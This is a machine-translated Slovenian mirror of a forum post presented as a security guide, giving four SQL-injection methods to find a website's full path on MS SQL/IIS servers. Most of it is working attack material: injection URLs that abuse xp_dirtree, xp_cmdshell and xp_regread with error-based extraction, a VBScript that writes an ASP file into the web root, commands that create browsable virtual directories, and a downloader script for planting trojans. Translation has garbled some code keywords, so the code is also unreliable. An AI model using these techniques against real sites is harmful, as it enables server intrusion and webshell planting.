Ta članek je zrcalni članek strojnega prevajanja, kliknite tukaj za skok na izvirni članek.

Pogled: 11906|Odgovoriti: 0

[Varnostni vodič] SQL injekcija za pridobitev celotne poti spletne strani

[Kopiraj povezavo]
Objavljeno na 7. 02. 2015 22:19:16 | | |
SQL injekcija za pridobitev celotne poti spletne strani

Če ima spletna stran le 80 priključkov, so naslednje metode bolj uporabne
Skoraj vse metode, ki jih uporabljam, niso tiste, ki sem jih odkril, članek pa vedno vključuje nekaj osebnih izkušenj in veščin pri injiciranju
Obstajajo 4 metode (zdaj znane)

Prva metoda:

To <怪异的SQL注入>je metoda, predstavljena v < >
Z uporabo xp_dirtree SQL Serverja najprej govorimo o metodi, nato pa o njenih prednostih in slabostih (nekateri dodatki so narejeni na podlagi izvirnega besedila)

Ustvarite tabele

Izjava:http://www.xxxxx.com/down/list.asp?id=1;create  Table dirs(paths varchar(1000))--
Zadaj: Normalne informacije! To pomeni, da je miza uspešno ustvarjena! Nadaljuj!
(Tista, ki sem jo zgradil, je nekoliko večja od originalne, ker sem naletel na datoteko z dolgim imenom in izbrisal ID, ker je neuporabna)

Izjava:http://www.xxxxx.com/down/list.asp?id=1;insert  direktorji master.dbo.xp_dirtree 'C:\' --
Napovedi: Običajne informacije. To pomeni, da so vsi imeniki, napisani na C pogonu, uspešni! Kul! Naslednji korak je pridobiti števec! Krši ga in pridi ven. (Zdi se, da obstaja samo en način)

Izjava:http://www.xxxxx.com/down/list.asp?id=1  in 0<>(izberi Top 1 poti iz dirs)-
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Sintaktična napaka nastane pri pretvarjanju varcharjeve vrednosti '@Inetpub' v stolpec z podatkovnim tipom int.

Nato se imena imenikov v tabeli izvrstijo zaporedoma!

Izjava:http:// http://www.xxxxx.com/down/list.asp?id=1  in 0<>(izberi Top 1 poti iz
Dirji, kjer poti niso v( '@Inetpub'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Sintaktična napaka se je pojavila pri pretvorbi varcharjeve vrednosti 'test' v stolpec s podatkovnim tipom int.

Nato se imena imenikov v tabeli izvrstijo zaporedoma!
V redu, nadaljujmo

Izjava:http:// http://www.xxxxx.com/down/list.asp?id=1  in 0<>(izberi Top 1 poti iz
dirji, kjer poti niso v( '@Inetpub','test'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Sintaktična napaka nastane, ko se varcharjeva vrednost 'haha' pretvori v stolpec s podatkovnim tipom int.

Nato se imena imenikov v tabeli izvrstijo zaporedoma!

V redu, moral bi vedeti, kako to narediti, haha, samo dodaj ime tabele, ki jo dobiš, v to oklepaje, napiši kolikor želiš,

Majhen trik:

Včasih boste to opazili, ko je vhod podoben

http://www.xxxxx.com/down/list.asp?id=1  in 0<>(izberi Top 1 poti iz dirs)-

Namesto da bi prikazala napako, se spletna stran prikaže normalno
Vrtoglavica, ne bodi živčna
Poglejte 0<> (izberite zgornjo 1 pot iz dirjev), da pokažete, da je vračilo številka,
Haha, preizkusi in poglej, koliko je

100>(izberi top 1 poti iz dirs)

Nazaj v normalno stanje
Haha, s to metodo lahko hitro ugibate več ali manj
V redu, nadaljujmo
Na primer, ko se pojavi

59=(izberi top 1 poti iz dirs)

Vrni se v normalno stanje,
V redu, ime je 59
Vnesite naslednje

http:// http://www.xxxxx.com/down/list.asp?id=1  in 0<>(izberi Top 1 poti iz
dirji, kjer poti niso v( '59'))--

Ne pozabite dati narekovajev
Naslednja metoda je enaka izvirni metodi
Obstaja pa tudi težava
Včasih, ko vnesem 59 z zgornjo metodo, ugotovim, da je naslednja mapa še vedno 59
Kaj se dogaja?
Hehe, ne vem, če si opazil, da sta 059 in 59 enaka?
Zato haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  in 0<>(izberi Top 1 poti iz
dirji, kjer poti niso v( '059'))--

Ugotovil sem, da se prikaže ime naslednje mape, v redu

Analiza prednosti in slabosti:

Prednost je, da ga lahko uporabljajo vsi uporabniki SQL strežnika, saj xp_dirtree uporablja dovoljenje JAVNO,
Slabost je, da prikazuje imena vseh map v mapi, razporeditev pa se zdi brez vrstnega reda, na kratko, težko je najti mapo, ki jo želiš, v tisočih ali deset tisočih mapah.
In veš, da imeti to mapo ni nujno v korenski mapi, kar je res boleča stvar, saj je pogosto odvisno od sreče in vzdržljivosti.
Želim ti uspeh

Metoda 2:

Uporabite xp_cmdshell

Haha, vsi so verjetno seznanjeni s tem, naj povem na kratko

Ustvarite tabele

Izjava:http://www.xxxxx.com/down/list.asp?id=1;create  Table dirs(paths varchar(1000))--
Zadaj: Normalne informacije! To pomeni, da je miza uspešno ustvarjena! Nadaljuj!
(Tista, ki sem jo zgradil, je nekoliko večja od originalne, ker sem naletel na datoteko z dolgim imenom in izbrisal ta ID, ker je neuporaben.)

Izjava:http://www.xxxxx.com/down/list.asp?id=1;insertdirektors executive master.dbo.xp_cmdshell 'dir c:\ /B/D' --
Napovedi: Običajne informacije. To pomeni, da so vsi imeniki, napisani na C pogonu, uspešni! dir c:\ /B/D se uporablja tukaj, haha, če ne veš, kaj počne /B/D, poskusi videti, kaj počne

Izjava:http://www.xxxxx.com/down/list.asp?id=1  in 0<>(izberi Top 1 poti iz dirs)-
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Sintaktična napaka nastane pri pretvarjanju varcharjeve vrednosti '@Inetpub' v stolpec z podatkovnim tipom int.

Nato se imena imenikov v tabeli izvrstijo zaporedoma!

Izjava:http:// http://www.xxxxx.com/down/list.asp?id=1  in 0<>(izberi Top 1 poti iz
Dirji, kjer poti niso v( '@Inetpub'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Sintaktična napaka se je pojavila pri pretvorbi varcharjeve vrednosti 'test' v stolpec s podatkovnim tipom int.

Nato se imena imenikov v tabeli izvrstijo zaporedoma!

Metoda je enaka kot zgoraj, zato o njej ne bom govoril

Včasih lahko nekaj naredimo tudi z naslednjima dvema razširitvama

1) Lahko izkoristimo xp_availablemedia, da dobimo vse trenutne pogone in jih shranimo v tabelo dirjev:

5 ; vstavi direktorje izvršnega master.dbo.xp_availablemedia; --

Seznam diskov in sorodne informacije lahko dobimo z poizvedbo po vsebini temp

(2) xp_subdirs lahko uporabimo za pridobitev seznama podimenikov in jih shranimo v tabelo dirs:

5 ; vstavi v dirs exec master.dbo.xp_subdirs 'c:\' ; --

Analiza prednosti in slabosti:

Seveda to ne bo xp_dirtree situacijo, ko so vsi imeniki združeni, prikazan bo le imenik prve stopnje, ki ga je veliko lažje najti.
Slabosti so prav tako očitne, le SA ima to dovoljenje, prav tako pa je možno, da je administrator to razširitev izbrisal (navsezadnje je premočna).

Metoda 3:

Ta pristop je dober
Spodaj je izvirno besedilo
Razmišljal sem o uporabi programa adsutil.vbs, ki sem ga zagnal

a'; Izvršni mojster.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Ali ni dolgo? Preko njega lahko postavimo prvo virtualno spletno stran v IIS (vključno z dejanskim imenikom, kjer se nahaja, seveda)
Uvoz v a.txt
Privzeta lokacija a.txt je seveda c:\winnt\system32, kar pravzaprav ni problem, vendar ko naletiš na administratorja, ki nastavi adsutil.vbs
Izbriši ali daj drugam
Ne moremo ničesar storiti glede tega (sam ne moreš napisati ukaza z odmevom).

Korak 2: Uporabi ukaz echo za pisanje naslednje kode v c:\, kar ni veliko

..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------beri.vbs---------------------------------
nastavi fso1=createobject("scripting.filesystemobject"
Nastavi WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Okolje("process"("windir"
set fil =fso1.opentextfile(spa & "\system32\aa.txt"
naredi, dokler ni fil.atendofstream
nr=fil.readline
če levo(nr,4)=»Pot« potem
Pa=Mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Izstop do
konec če
Zanka
Set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------tukaj rez-------------------------------------

Korak 3: Seveda je treba izvesti read.vbs, da lahko preberemo vsebino v aa.txt in najdemo dejansko pot spletne strani
Nato napiši datoteko z imenom dd.asp v korensko mapo spletne strani in vedel boš, ali lahko uspešno poskusiš
izvršitihttp://x.x.x.x/dd.asp
Vračila: \xxx
Haha, to je dober način,
Vendar pa se zdi, da ima izvirno besedilo nekaj težav
Je

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

Napaka nastane, ko sta vložena dva stavka
Tako smo si izmislili plus znak, ki ima enako funkcijo kot &
In o čem naj dd.asp pišem? Piši očetu, haha
Haha, spremenil sem ga

-------------------beri.vbs---------------------------------
nastavi fso1=createobject("scripting.filesystemobject"
Nastavi WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Okolje("process"("windir"
set fil =fso1.opentextfile(spa "\system32\aa.txt"
naredi, dokler ni fil.atendofstream
nr=fil.readline
če levo(nr,4)=»Pot« potem
Pa=Mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Izstop do
konec če
Zanka
Set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------tukaj rez--------------------------------------
Ker se časovna številka ob oddaji v brskalniku pretvori v presledek, morate nastaviti tudi
Postane %2B, v redu, moralo bi biti v redu, kot sledi
-------------------beri.vbs---------------------------------
nastavi fso1=createobject("scripting.filesystemobject"
Nastavi WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Okolje("process"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
naredi, dokler ni fil.atendofstream
nr=fil.readline
če levo(nr,4)=»Pot« potem
Pa=Mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Izstop do
konec če
Zanka
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------tukaj rez--------------------------------------

Če ugotovimo, da 1 ni, lahko postanemo 2, 3, 4...........

a'; Izvršni mojster.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

Vendar se ta metoda lahko uporablja le v Windows 2000, ker naslovi novo ustvarjenih spletnih strani pod letom 2003 niso razporejeni po 1234, ampak se zdi, da je naključno generirana, in primerjal sem več naslovov pod letom 2003
Naslov, rednosti ni bilo ugotovljeno.

Analiza prednosti in slabosti:

Enako velja xp_cmdshell Ne more ga uporabljati vsak uporabnik! Druga težava je, da datoteka adsutil ne obstaja nujno ali pa ni nujno na tej poti, čeprav jo lahko uporabite, če ste želeli
Echo napiše eno (haha, staro in staro), drugo vprašanje pa je, kaj če je na gostitelju veliko strani? Srečal sem gostitelja z devetimi stranmi, in le osma je uporabna
Da, šibko, težko je imeti kdo potrpljenje, da bi vztrajal tako dolgo, morda se je že zdavnaj sesul. Poleg tega ga leta 2003 ni mogoče uporabiti!
Iskreno povedano, ta metoda je res dobra

Metoda 4:

Ta metoda je branje poti iz registra skozi xp_regread itd
Za pridobitev poti do spletne strani (berite register preko shranjenih postopkov) je priporočljivo naslednje korake:
Uporabite vgrajeno shranjeno proceduro xp_regread (beri register key, permission public):

Izjava: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare@test
Varchar (20) izvršni mojster.. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , vrednosti=@test OUTPUT vstavi v poti
(path) values(@test)

IIS privzeta pot v registru HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Uporabite polje za burst za branje vrednosti baze podatkov:

Izjava: http://www.xxx.com/list.asp?classid=1 in 0<>(izberite top 1 poti iz newtable)--return: Microsoft OLE DB Provider for for
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] pretvori vrednost varchar E:\www,,201 v podatkovni tip int
stolpec.

To pomeni, da je imenik spletne strani v E:\www, nato pa lahko uporabiš tudi FSO za neposredno pisanje na ASP trojanca
Kaj pa, če ne moreš dobiti spletnega imenika? Ugibati morate, ali spletna stran uporablja privzeti WEB ali domeno kot WEB.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"'

Ustvarite virtualno mapo E pod privzeto spletno stranjo, ki kaže na E: pod disk.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e brskanje'

Dobro je dodati atribute brskanja v virtualni imenik, npr. Odprite virtualno storitev zase. Ko razmišljam o poteh po mapah spletnih strani, mi je glava skoraj razbita. Zdaj sem odprl oči. To je WEBSHELL, ki uporablja MS
SQL je konec našega dela in naslednja naloga bi morala biti vaša.
Haha, metoda je dobra, preberi prijavni obrazec, priročno in hitro!

Analiza prednosti in slabosti:

Prednost je seveda v tem, da je priročen in hiter. Slabost je, da lahko vidiš le pot privzete IIS strani, in če ni več privzeta lokacija, potem ne moreš ničesar storiti (jaz sem to spremljal z regsnape), če je pod letnico 2003
To pomeni, da tudi privzeta pot na strani ni prikazana! V bolečinah

Mimogrede, pravzaprav obstajajo tudi drugi načini, kako nadaljevati z vdorom, kot je iskanje poti do spletne strani, kot je nalaganje bounce trojanca preko tftp ali pisanje iget.vbs za prenos želenega dongdonga
Koda iget.vbs je naslednja:

---------začetek----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Odpri "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Nastavi sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1),2
----------konec-----------

Priloga k temu članku:

Nedavno sem ugotovil, da moje razumevanje navodil predsednika Maoja ni bilo dovolj poglobljeno, zato bi rad dodal še tukaj
Pravzaprav zgornjih metod sploh ni treba primerjati, xp_dirtree so najboljše, dokler je ta ena metoda dovolj
Samo zato, ker sem bil preveč ..............
Danes bom znova izkopal skrivnost xp_dirtree
V redu, poglejmo izvršnega mojstra: xp_dirtree'd:/test'
Recimo, da imamo dve mapi v testu, test1 in test2, ter test3 v test1
Rezultati kažejo

Globina podimenika
test1 1
test3 2
test2 1

Haha, ugotovil sem, da ni nobene globine v seriji imenika
V redu, veš, kaj moraš narediti

http://www.xxxxx.com/down/list.asp?id=1;create  table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  direktorji master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1  in 0<>(izberi zgornjo 1 pot iz dirjev, kjer id=1)-

Dokler je dodan id=1, je to imenik prve ravni.





Prejšnji:Penetracija vdorov: Uporaba HTTP glav
Naslednji:Posnetki zaslona prenosa Alipay se ustvarijo z enim klikom
Disclaimer:
Vsa programska oprema, programski materiali ali članki, ki jih izdaja Code Farmer Network, so namenjeni zgolj učnim in raziskovalnim namenom; Zgornja vsebina ne sme biti uporabljena v komercialne ali nezakonite namene, sicer uporabniki nosijo vse posledice. Informacije na tej strani prihajajo z interneta, spori glede avtorskih pravic pa nimajo nobene zveze s to stranjo. Zgornjo vsebino morate popolnoma izbrisati z računalnika v 24 urah po prenosu. Če vam je program všeč, podprite pristno programsko opremo, kupite registracijo in pridobite boljše pristne storitve. Če pride do kakršne koli kršitve, nas prosimo kontaktirajte po elektronski pošti.

Mail To:help@itsvse.com